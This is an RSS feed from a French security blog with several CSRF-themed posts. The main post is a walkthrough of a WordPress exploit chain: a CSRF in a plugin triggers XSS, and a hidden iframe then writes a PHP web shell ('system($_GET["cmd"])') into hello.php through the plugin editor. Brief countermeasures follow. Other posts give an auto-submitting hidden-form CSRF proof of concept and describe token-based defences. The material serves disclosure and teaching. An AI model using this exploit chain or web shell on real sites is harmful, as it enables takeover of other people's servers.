<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>WEBlog de Félix Aimé &#187; csrf</title>
	<atom:link href="http://blog.felix-aime.fr/tag/csrf/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.felix-aime.fr</link>
	<description>{ OpenSource Intelligence, Information Security, Information Warfare }</description>
	<lastBuildDate>Mon, 06 Feb 2012 12:39:33 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.5</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>D&#8217;une CSRF à un RCE, bienvenue chez Wordpress ! *FEAR*</title>
		<link>http://blog.felix-aime.fr/developpement-web/dune-csrf-a-un-rce-bienvenue-chez-wordpress-fear/</link>
		<comments>http://blog.felix-aime.fr/developpement-web/dune-csrf-a-un-rce-bienvenue-chez-wordpress-fear/#comments</comments>
		<pubDate>Wed, 13 Oct 2010 18:17:05 +0000</pubDate>
		<dc:creator>feu</dc:creator>
				<category><![CDATA[Développement web]]></category>
		<category><![CDATA[Tips&tricks]]></category>
		<category><![CDATA[cross exploitation]]></category>
		<category><![CDATA[csrf]]></category>
		<category><![CDATA[css]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[plugin]]></category>
		<category><![CDATA[shell]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://blog.felix-aime.fr/?p=614</guid>
		<description><![CDATA[Je voulais vous faire un petit article pour vous démontrer la puissance destructrice des vulnérabilités liées aux plugins sur certains CMS. Je me suis donc mis à l&#8217;assaut du grand Wordpress histoire de faire peur dans les chaumières. Au programme aujourd&#8217;hui, comment une extension vulnérable à une attaque par CSRF provocant une XSS peut permettre [...]]]></description>
			<content:encoded><![CDATA[<p>Je voulais vous faire un petit article pour vous démontrer la puissance destructrice des vulnérabilités liées aux plugins sur certains CMS. Je me suis donc mis à l&#8217;assaut du grand Wordpress histoire de faire peur dans les chaumières. Au programme aujourd&#8217;hui, comment une extension vulnérable à une attaque par <acronym>CSRF</acronym> provocant une <acronym>XSS</acronym> peut permettre de backdoorer un script PHP automatiquement. Bienvenue, cher lecteur, dans le monde des &laquo;&nbsp;combos&nbsp;&raquo; de vulnérabilités à la sauce Wordpress.</p>
<p><strong>OK, What&#8217;s the :(){:|:&amp;};: ?</strong></p>
<p>Premier ingrédient, une extension vulnérable. Pour cela, il ne faut pas aller chercher très loin, une simple recherche dans les extensions les plus populaires de Wordpress vous permettra de trouver votre bonheur en <acronym>XSS</acronym>, <acronym>CSRF</acronym> et autres trucs marrants. Perso, j&#8217;ai choisi WP Page Number, car elle est utilisée par beaucoup de blogs *han la-la je fais du full disc*. Cette dernière est vulnérable aux deux failles donc voici comment va se dérouler l&#8217;attaque :</p>
<p>1. Exécution d&#8217;une <acronym>CSRF</acronym> lambda par POST afin d&#8217;exécuter une <acronym>XSS</acronym>.<br />
2. A partir de cette <acronym>XSS</acronym>, réalisation d&#8217;une iframe et exécution d&#8217;un script.<br />
3. Modification des éléments <acronym>DOM</acronym> de la page &laquo;&nbsp;framée&nbsp;&raquo; afin de backdoorer un contenu.<br />
4. Envoi de la soupe avec la fonction &laquo;&nbsp;submit&nbsp;&raquo;.</p>
<p>J&#8217;ai perdu personne ? Bon, passons de la théorie à la pratique.</p>
<p><strong>Step 1. </strong><strong>Mise en place de la première <acronym>CSRF</acronym></strong></p>
<p>Afin de réaliser la première <acronym>CSRF</acronym> en POST, il faut simplement réaliser un petit formulaire qui s&#8217;envoie automatiquement dès que la victime charge la page. Plusieurs techniques sont alors possibles dans les évènements <acronym>DOM</acronym> pour réaliser cela. Perso, j&#8217;ai mon petit faible pour <em>onerror</em> avec une image malle interprétée mais l&#8217;on peut utiliser des <em>onload</em>, <em>onfocus</em> (html5) ou <em>onmouseover</em> et un peu de CSS etc.</p>
<p>Donc on y va ! Un simple <em>form</em> en <em>display:none</em> fera l&#8217;affaire. Exemple :</p>
<blockquote><p>&lt;form action=&#8217; &#8216; method=&#8217;post&#8217; id=&#8217;blop&#8217; style=&#8217;display:none&#8217;&gt;&lt;/form&gt;<br />
&lt;img src=&#8217;x&#8217; onerror=&#8217;blop.submit()&#8217;&gt;</p></blockquote>
<p>Ensuite, on regarde le nombre de champs que possède notre plugin, soit à la main, <span style="text-decoration: line-through;">long et chiant</span>, soit en utilisant Tamperdata. On s&#8217;aperçoit peu après que hô magie, seuls deux champs sont obligatoires. Donc on refait notre super form avec les deux champs et on teste l&#8217;injection de code HTML.</p>
<blockquote><p>&lt;form action=&#8217; [plugin URL]&#8216; method=&#8217;post&#8217; id=&#8217;blop&#8217; style=&#8217;display:none&#8217;&gt;<br />
&lt;input name=&#8217;submitted&#8217; value=&#8217;yes&#8217;&gt;<br />
&lt;input name=&#8217;page_of_page_text&#8217; value=&#8217;&nbsp;&raquo;/&gt;&lt;h1&gt;lol&lt;/h1&gt;&#8217;&gt;<br />
&lt;/form&gt;<br />
&lt;img src=&#8217;x&#8217; onerror=&#8217;blop.submit()&#8217;&gt;</p></blockquote>
<p style="text-align: center;">Et une belle image pour émoustiller le public&#8230;</p>
<p style="text-align: left;"><img class="aligncenter" src="http://img716.imageshack.us/img716/669/imageguv.png" alt="" /><br />
Yes ! It works ! Great. Bon, on passe à des choses un peu plus ardues. Nous avons réalisé l&#8217;exploitation de notre première <acronym>CSRF</acronym> aboutissant à une exécution de code en client side sur le domaine visé. Pour ceux qui ont l&#8217;habitude d&#8217;auditer pour le fun des extensions Wordpress, une grande partie est vulnérable aux <acronym>XSS</acronym> (par exemple, All in one SEO), en ce qui concerne les <acronym>CSRF</acronym>, c&#8217;est un peu plus limité. Cependant, dès que ça l&#8217;est, cela peut faire très mal et c&#8217;est ce que nous allons voir.</p>
<p><strong>Step 2. Contournement des protections anti-<acronym>CSRF</acronym> de WP.</strong></p>
<p>J&#8217;ai commencé cette exploitation en &laquo;&nbsp;backbox&nbsp;&raquo; donc je reste en &laquo;&nbsp;blackbox&nbsp;&raquo;. Dès qu&#8217;on a une <acronym>XSS</acronym> sur un domaine, la plupart des protections anti-<acronym>CSRF</acronym> par token sautent du fait de la possible récupération en Javascript du token permettant de sécuriser la transaction (eh oui, <acronym title="Same Origin Policy">SOP</acronym> n&#8217;est plus d&#8217;aucune utilité). D&#8217;ailleurs, une attaque de type &laquo;&nbsp;<em>Return-to-jQuery</em>&nbsp;&raquo; peut permettre la récupération du token et l&#8217;envoi du formulaire visé en une ligne.</p>
<p>Cependant, face à ce type d&#8217;attaque, Wordpress à l&#8217;air de résister. Je ne suis pas allé dans le code chercher quelle était la fonction qui rendait la tâche plus ardue. Cependant, ma petite idée est simple : anti-<acronym>CSRF</acronym> = (token + contrôle du referer). Pour contourner ce petit problème, j&#8217;ai cherché quelques minutes et j&#8217;ai trouvé, il suffit d&#8217;interagir avec une iframe.</p>
<p>Le concept est simple : on &laquo;&nbsp;frame&nbsp;&raquo; la page contenant le formulaire protégé par token que l&#8217;on veut envoyer, on interagit avec les éléments du formulaire directement à partir de la page parente afin de changer les contenu des inputs et d&#8217;envoyer le tout. Cela permet ainsi de casser la deuxième protection anti-<acronym>CSRF</acronym> liée au referer.</p>
<p><strong>Step 3. Développement de l&#8217;exploit.</strong></p>
<p>Donc c&#8217;est parti ! On crée une nouvelle iframe que l&#8217;on injectera avec du code javascript lors de l&#8217;exécution de notre première <acronym>CSRF</acronym> sur l&#8217;extension vulnérable. Cette iframe devra être composée d&#8217;une simple source. A cette iframe, on ajoute un code Javascript qui réalisera plusieurs choses :</p>
<ul>
<li>Ajout d&#8217;un shell au textarea du formulaire &laquo;&nbsp;framé&nbsp;&raquo;</li>
<li>Changement de l&#8217;attribut &laquo;&nbsp;name&nbsp;&raquo; de l&#8217;input &laquo;&nbsp;submit&nbsp;&raquo;</li>
<li>Lancement de l&#8217;attaque en envoyant le bon formulaire dans le contexte de la page framée.</li>
</ul>
<p>Le code &laquo;&nbsp;final&nbsp;&raquo; de l&#8217;exploitation de la deuxième &laquo;&nbsp;<acronym>CSRF</acronym> protégée&nbsp;&raquo; grâce à une iframe aura donc cette allure :</p>
<blockquote><p>&lt;script&gt;</p>
<p>function exploit(){</p>
<p>var content = frames[0].document.getElementById(&#8217;newcontent&#8217;);<br />
var inputs = frames[0].document.getElementsByTagName(&#8217;input&#8217;);<br />
content.value=&#8217;&lt;?php echo system($_GET["cmd"]); ?&gt;&#8217;;<br />
inputs[7].setAttribute(&nbsp;&raquo;name&nbsp;&raquo;,&nbsp;&raquo;");<br />
frames[0].document.forms[1].submit()&#8217;;</p>
<p>}<br />
&lt;/script&gt;</p>
<p>&lt;body onload=&#8217;javascript:exploit()&#8217;&gt;&lt;/body&gt;<br />
&lt;iframe src=&#8217;[URL]/plugin-editor.php?plugin=hello.php&#8217; width=&#8217;0&#8242; height=&#8217;0&#8242;&gt;</p></blockquote>
<p>Quelques explications peuvent être utiles face à ce petit bout de code. Tout d&#8217;abord, il remplace le contenu du <em>textarea</em> contenant le code source du plugin <em>hello.php</em> par un shell. Ensuite, il récupère l&#8217;élément <em>submit</em> avec lequel on veut interagir et enlève son nom. Pourquoi ? Je ne le sais pas, apparemment le moteur <acronym title="Javascript">JS</acronym> aime pas lorsque deux éléments ont le même nom sur une page, donc j&#8217;ai trouvé cette unique solution. Ensuite, nous voulons envoyer le formulaire donc il nous faut faire exécuter par le deuxième formulaire une simple fonction <em>submit()</em>.</p>
<p>Voilà, à partir de là, vous avez juste à rendre le code peu portable le code pour lui permettre de bypasser des protections telles que les magic_quotes et de le lier avec ce qu&#8217;il a été fait à l&#8217;étape 1 (je ne vais pas tout vous donner sur un plateau). Pour information, si j&#8217;ai mis une deuxième balise <em>body</em>, c&#8217;est simplement pour exécuter automatiquement le script exploit (les évènements concurrents <acronym>DOM</acronym> du style &laquo;&nbsp;onerror&nbsp;&raquo; ne fonctionnant pas).</p>
<p>Évidemment, j&#8217;ai pris Wordpress, car cela était un cas assez intéressant, mais nous aurions pu prendre d&#8217;autres CMS, les plugins vulnérables développés par des &laquo;&nbsp;amateurs&nbsp;&raquo; ce n&#8217;est pas ce qui manque sur l&#8217;internet.</p>
<p><strong>Step 4. Contre-mesures.</strong></p>
<p>Afin de contrer ce type de menaces, plusieurs contre mesures peuvent être mises en place. Tout d&#8217;abord, limiter le nombre d&#8217;extensions au strict nécessaire. De plus, un WAF/IDS (mod_security, phpids etc.) sympa pourrait permettre de limiter ce type de désagréments même si, configuré par défaut, il limitera l&#8217;édition d&#8217;articles et de pages sur votre blog. Enfin, rien ne vaut un bon Noscript afin de limiter l&#8217;exécution de codes malveillants en client side.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.felix-aime.fr/developpement-web/dune-csrf-a-un-rce-bienvenue-chez-wordpress-fear/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Keynote : Twitter : La révolution de l&#8217;information a-t-elle un prix ?</title>
		<link>http://blog.felix-aime.fr/securite-des-systemes-dinformation/twitter-la-revolution-de-linformation-a-t-elle-un-prix/</link>
		<comments>http://blog.felix-aime.fr/securite-des-systemes-dinformation/twitter-la-revolution-de-linformation-a-t-elle-un-prix/#comments</comments>
		<pubDate>Wed, 11 Nov 2009 13:39:54 +0000</pubDate>
		<dc:creator>feu</dc:creator>
				<category><![CDATA[Développement web]]></category>
		<category><![CDATA[SRC Bordeaux]]></category>
		<category><![CDATA[Sécurité des systèmes d'information]]></category>
		<category><![CDATA[API]]></category>
		<category><![CDATA[csrf]]></category>
		<category><![CDATA[entreprise]]></category>
		<category><![CDATA[information gathering]]></category>
		<category><![CDATA[sécurité]]></category>
		<category><![CDATA[twitter]]></category>

		<guid isPermaLink="false">http://blog.felix-aime.fr/?p=181</guid>
		<description><![CDATA[J&#8217;ai réalisé avec d&#8217;autres étudiants d&#8217;SRC Bordeaux une présentation sur l&#8217;éventuelle révolution de l&#8217;information induite par Twitter. Ainsi, cette présentation possède comme problématique : &#171;&#160;Twitter : La révolution de l&#8217;information a-t-elle un prix ?&#160;&#187; (je sais, j&#8217;en suis fier =).
Nous abordons ainsi les différentes utilisations de Twitter et ses problèmes actuels, tant au point de [...]]]></description>
			<content:encoded><![CDATA[<p>J&#8217;ai réalisé avec d&#8217;autres étudiants d&#8217;<a title="DUT src Bordeaux, formation multimedia et métiers du web" href="http://www.srcbordeaux.com" target="_blank">SRC Bordeaux</a> une présentation sur l&#8217;éventuelle révolution de l&#8217;information induite par Twitter. Ainsi, cette présentation possède comme problématique : &laquo;&nbsp;Twitter : La révolution de l&#8217;information a-t-elle un prix ?&nbsp;&raquo; (je sais, j&#8217;en suis fier =).</p>
<p>Nous abordons ainsi les différentes utilisations de Twitter et ses problèmes actuels, tant au point de vue financier (comment rendre ce service économiquement viable) jusqu&#8217;à la sécurité du service et de ses utilisateurs (vulnérabilités des API). </p>
<p>Un petit slide est d&#8217;ailleurs dédié à <strong><a href="http://www.digininja.org/projects/kreiosc2.php">KreiosC2</a></strong>, le PoC permettant de transformer Twitter en <strong>cannal de communication pour BotNet</strong> par le 80 et ainsi bypasser quelques firewalls au passage (reste le problème de certains proxys internes aux entreprises, mais bon, on peut l&#8217;éliminer facilement ;) et puis, ce n&#8217;est qu&#8217;un PoC, onne va pas tout mettre sur un plateau.</p>
<p>Voici les slides (hébergées sur <a href="http://www.slideshare.com" target="_blank">slideshare</a>) :</p>
<p><object style="margin:0px" width="335" height="280"><param name="movie" value="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=twitter-091109061351-phpapp01&#038;stripped_title=twitter-la-rvolution-de-linformation-atelle-un-prix-2456366" /><param name="allowFullScreen" value="true"/><param name="allowScriptAccess" value="always"/><embed src="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=twitter-091109061351-phpapp01&#038;stripped_title=twitter-la-rvolution-de-linformation-atelle-un-prix-2456366" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="335" height="280"></embed></object></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.felix-aime.fr/securite-des-systemes-dinformation/twitter-la-revolution-de-linformation-a-t-elle-un-prix/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Requête POST en cross-domain &#171;&#160;presque-sans&#160;&#187; JavaScript.</title>
		<link>http://blog.felix-aime.fr/securite-des-systemes-dinformation/bypasser-noscript-pour-faire-une-requete-post-sans-javascript/</link>
		<comments>http://blog.felix-aime.fr/securite-des-systemes-dinformation/bypasser-noscript-pour-faire-une-requete-post-sans-javascript/#comments</comments>
		<pubDate>Thu, 27 Aug 2009 16:13:02 +0000</pubDate>
		<dc:creator>feu</dc:creator>
				<category><![CDATA[Sécurité des systèmes d'information]]></category>
		<category><![CDATA[Tips&tricks]]></category>
		<category><![CDATA[addon]]></category>
		<category><![CDATA[AJAX]]></category>
		<category><![CDATA[Bypass]]></category>
		<category><![CDATA[csrf]]></category>
		<category><![CDATA[firefox]]></category>
		<category><![CDATA[noscript]]></category>
		<category><![CDATA[post]]></category>

		<guid isPermaLink="false">http://blog.felix-aime.fr/?p=63</guid>
		<description><![CDATA[Il y a encore quelques mois, on me disait qu&#8217;il était impossible de réaliser une requête POST automatiquement sans passer par de l&#8217;Ajax ou un Framework javascript tiers. (notez que celles en GET nécessitaient simplement un appel vers la page demandée par l&#8217;intermédiaire d&#8217;une image mal formée, un embed, ou une feuille de style etc.)
Cette [...]]]></description>
			<content:encoded><![CDATA[<p>Il y a encore quelques mois, on me disait qu&#8217;il était <strong>impossible</strong> de réaliser une requête POST automatiquement sans passer par de l&#8217;<strong>Ajax</strong> ou un Framework javascript tiers. (notez que celles en GET nécessitaient simplement un appel vers la page demandée par l&#8217;intermédiaire d&#8217;une image mal formée, un embed, ou une feuille de style etc.)</p>
<p>Cette histoire de POST pouvait poser quelques problèmes lors de lorsqu&#8217;un script appelait des variables en POST et que PHP était configuré sans les <em>register_globals</em> (donc à off). Ainsi, nous devions forcément passer par une requête POST afin de faire passer les variables, cela incluait alors, dans le cadre d&#8217;attaques <strong>CSRF</strong> l&#8217;utilisation d&#8217;ajax dans une page afin de perpétrer l&#8217;attaque et d&#8217;envoyer les données au script.</p>
<p>Gros problème, les navigateurs empêchent les requêtes ajax POST en cross domain pour des raisons évidentes de sécurité. Et puis, j&#8217;ai eu une idée, pourquoi ne pas passer par un formulaire HTML pur et de le valider sur un évènement ? Là était la réponse ! =) Il suffit simplement de réaliser une page contenant un formulaire et une image qui ne se charge pas contenant l&#8217;évènement (non DOM) onerror , par exemple, quelque chose dans ce genre :</p>
<pre>&lt;form id="form" action="[vers la page vuln aux CSRF]" method="POST"&gt;
&lt;input name="test1" type="hidden" value="valeur test 1" /&gt;
&lt;input name="test2" type="hidden" value="valeur test 2" /&gt;
&lt;/form&gt;
&lt;img src="xxxx" onerror="form.submit()" /&gt;</pre>
<p>Et hop, vous avez votre requête POST, cross domain sans utiliser de l&#8217;Ajax =) Vous voulez voir ce que cela donne ? <a href="http://www.felix-aime.fr/projets/securite/bypass_post_noscript/badaboum.html">Allez par ici -&gt; [ -]</a></p>
<p>Pour conclure, nous pouvons dire que le code est simple, très simple, voir même trop simple. Nous pourrions un peu le customiser afin que l&#8217;envoi des données soit invisible pour l&#8217;utilisateur, mais je reste dans le cadre d&#8217;un PoC, donc pas de choses très méchantes ici.</p>
<p>De plus, cette technique reste assez limitée dans l&#8217;efficacité qu&#8217;aurai pu avoir une requête à dose de javascript, car cela permet de faire autre chose bien plus élaborées&#8230; et surtout de récupérer certaines informations lorsque nous sommes sur le même domaine&#8230; (arf, le cross domaine, les navigateurs n&#8217;aiment pas cela et nous pouvons les comprendre&#8230; ah si, ie6 et &lt; aiment ça, mais c&#8217;est une autre histoire&#8230;)</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.felix-aime.fr/securite-des-systemes-dinformation/bypasser-noscript-pour-faire-une-requete-post-sans-javascript/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Twitter et sécurité&#8230; Arf.</title>
		<link>http://blog.felix-aime.fr/securite-des-systemes-dinformation/twitter-et-securite-arf/</link>
		<comments>http://blog.felix-aime.fr/securite-des-systemes-dinformation/twitter-et-securite-arf/#comments</comments>
		<pubDate>Fri, 21 Aug 2009 07:14:52 +0000</pubDate>
		<dc:creator>feu</dc:creator>
				<category><![CDATA[Sécurité des systèmes d'information]]></category>
		<category><![CDATA[Tips&tricks]]></category>
		<category><![CDATA[attaques]]></category>
		<category><![CDATA[csrf]]></category>
		<category><![CDATA[protection]]></category>

		<guid isPermaLink="false">http://blog.felix-aime.fr/?p=34</guid>
		<description><![CDATA[Depuis quelques jours, petit buzz sur la toile française. Nous pouvons changer le statut Twitter d&#8217;une personne visitant notre site Internet grâce au chargement d&#8217;une URL. Astuce présentée -et non découverte- par le blogueur Korben et reprise un peu partout, là, là ou même là.
C&#8217;est la deuxième fois qu&#8217;un problème de sécurité est présenté sur [...]]]></description>
			<content:encoded><![CDATA[<p>Depuis quelques jours, petit buzz sur la toile française. Nous pouvons changer le statut <a hreflang="fr" href="http://www.twitter.com/">Twitter</a> d&#8217;une personne visitant notre site Internet grâce au chargement d&#8217;une URL. Astuce présentée -et non découverte- par le blogueur <a hreflang="fr" href="http://www.korben.info/petit-cours-de-twitt-jacking.html">Korben</a> et reprise un peu partout, <a hreflang="fr" href="http://www.lepost.fr/article/2009/01/30/1406101_facile-de-se-faire-squater-son-compte-twitter.html">là</a>, <a hreflang="fr" href="http://netreader.vendredi.info/+-Netosphere-+.html">là</a> ou même <a hreflang="fr" href="http://search.twitter.com/search?q=twitt-jacking">là</a>.</p>
<p>C&#8217;est la deuxième fois qu&#8217;un problème de sécurité est présenté sur le service Twitter, la première était le piratage de quelques gros comptes suite à une attaque par force brute d&#8217;un compte d&#8217;administrateur.</p>
<p>Beaucoup de personnes ont donc parlées de cette possibilité de changement de statut par un site tiers, mais personne n&#8217;a encore solutionné le problème. Donc je vais vous livrer quelques astuces pour sécuriser son site internet contre ces attaques mais aussi, vous sécuriser vous. Car il est en partie possible de se sécuriser contre ces attaques connues appelées CSRF.</p>
<p><strong>Attaque ? Où, où ça ?</strong></p>
<p>Tout d&#8217;abord étudions l&#8217;attaque. En temps normal, la personne étant loggée envoie son statut par l&#8217;intermédiaire d&#8217;une requête POST et Twitter le met à jour. Cependant, les requêtes POST et GET peuvent se confondre donc nous pouvons charger dans l&#8217;URL les données que nous voulons envoyer par l&#8217;intermédiaire de la variables statut. Ex : http://twitter.com/home?status=<a title="le statut à mettre" href="http://felix-aime.fr/dotclear/le%20statut%20%C3%A0%20mettre">le statut à mettre</a>.</p>
<p>A partir de là, il devient facile pour une personne de mettre un script dans son site Internet faisant le travail et changeant le statut de n&#8217;importe qui loggé sur twitter et visitant le site. <a hreflang="fr" href="http://www.korben.info/petit-cours-de-twitt-jacking.html">Voir le PoC (proof of concept) ici</a>.</p>
<p><strong>Bon, ceci dit, comment se protéger ?</strong></p>
<p>Tout d&#8217;abord, le site Internet doit être protégé au niveau du code. Ainsi, on n&#8217;accepte pas n&#8217;importe quelle variable envoyée depuis n&#8217;importe quel site Internet. Pour ce faire, une technique assez simple est de mettre un champ en hidden avec une valeur aléatoire envoyée en même temps que notre valeur (dans le cas de Twitter le statut.). Ainsi, grâce aux sessions, le site Internet garde en mémoire cette valeur. Lorsque la page reçoit le statut, la valeur cachée est comparée à celle en mémoire. S&#8217;il y en a pas où si cela n&#8217;est pas la bonne, en refuse le changement de statut. (encore dans le cadre de Twitter.)</p>
<p>Je vous ai fait un petit script que l&#8217;on peut tester et <a href="http://www.felix-aime.fr/projets/securite/twitter-csrf/csrf_attaque1.php">disponible ICI</a>.</p>
<p>Cette valeur doit réellement être aléatoire et être <em>hashée</em> de préférence en sha1 pour (encore) plus de sécurité. En fait, tout dépend de la longueur de la chaine et du nombre de possibilités pour chaque case. Si cette dernière est élevée (comme dans mon exemple, 32 cases) il n&#8217;est pas réellement nécessaire de prévoir un <em>hashage</em> de cette dernière.</p>
<p>De plus l&#8217;utilisateur, lui, ne peut jamais être protégé. Ainsi, même en désactivant le Javascript sur son navigateur, en empêchant l&#8217;affichage des iframes, cela ne fera que stopper les attaques CSRF complexes, mais pas ce genre de petites attaques, car l&#8217;URL peut être appelée depuis n&#8217;importe quel code que cela soit une iframe, une image, une feuille de style etc.</p>
<p>Développeurs, développeuses, je vous encourage à patcher tous les champs de vos différents formulaires car cette faille est très &#8211; trop ? &#8211; répendue ! (Administrations de routeurs, de box, réseaux sociaux, sites bancaires (?), sites d&#8217;ecommerce, services de blogs etc.). Bref, maintenant la balle est dans votre camp !</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.felix-aime.fr/securite-des-systemes-dinformation/twitter-et-securite-arf/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

